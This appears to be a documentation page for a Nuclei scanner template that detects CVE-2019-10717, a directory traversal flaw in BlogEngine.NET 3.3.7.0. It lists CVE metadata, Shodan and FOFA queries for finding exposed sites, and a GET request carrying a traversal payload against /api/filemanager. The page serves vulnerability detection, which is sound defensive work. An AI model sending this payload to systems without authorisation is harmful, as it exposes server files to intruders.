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BlogEngine.NET 3.3.7.0 - Local File Inclusion

ID: CVE-2019-10717

Severity: high

Author: arafatansari

Tags: cve,cve2019,seclists,blogengine,lfi,traversal,dotnetblogengine

Description

Section titled “Description”

BlogEngine.NET 3.3.7.0 allows /api/filemanager local file inclusion via the path parameter

YAML Source

Section titled “YAML Source”
id: CVE-2019-10717


info:
  name: BlogEngine.NET 3.3.7.0 - Local File Inclusion
  author: arafatansari
  severity: high
  description: |
    BlogEngine.NET 3.3.7.0 allows /api/filemanager local file inclusion via the path parameter
  impact: |
    An attacker can exploit this vulnerability to read sensitive files, execute arbitrary code, or launch further attacks.
  remediation: |
    Upgrade to a patched version of BlogEngine.NET or apply the vendor-supplied patch to mitigate this vulnerability.
  reference:
    - https://www.securitymetrics.com/blog/Blogenginenet-Directory-Traversal-Listing-Login-Page-Unvalidated-Redirect
    - https://github.com/rxtur/BlogEngine.NET/commits/master
    - https://nvd.nist.gov/vuln/detail/CVE-2019-10717
    - http://seclists.org/fulldisclosure/2019/Jun/44
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N
    cvss-score: 7.1
    cve-id: CVE-2019-10717
    cwe-id: CWE-22
    epss-score: 0.00351
    epss-percentile: 0.71813
    cpe: cpe:2.3:a:dotnetblogengine:blogengine.net:3.3.7.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: dotnetblogengine
    product: blogengine.net
    shodan-query:
      - http.html:"Blogengine.net"
      - http.html:"blogengine.net"
    fofa-query: body="blogengine.net"
  tags: cve,cve2019,seclists,blogengine,lfi,traversal,dotnetblogengine


http:
  - method: GET
    path:
      - "{{BaseURL}}/api/filemanager?path=%2F..%2f..%2fContent"


    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "application/json"


      - type: regex
        regex:
          - '~/App_Data/files/../../([a-zA-Z0-9\.\-]+)/([a-z0-9]+)'


      - type: status
        status:
          - 200
# digest: 4a0a0047304502200369cfda7cec16233057635f19564c9ca7750adcf63806ec4d62c717a6c1c0e0022100d2466cd0c739b84bd70cb951c29cc173500cc03e65a2748242ab6f61c01c8692:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2019/CVE-2019-10717.yaml"

View on Github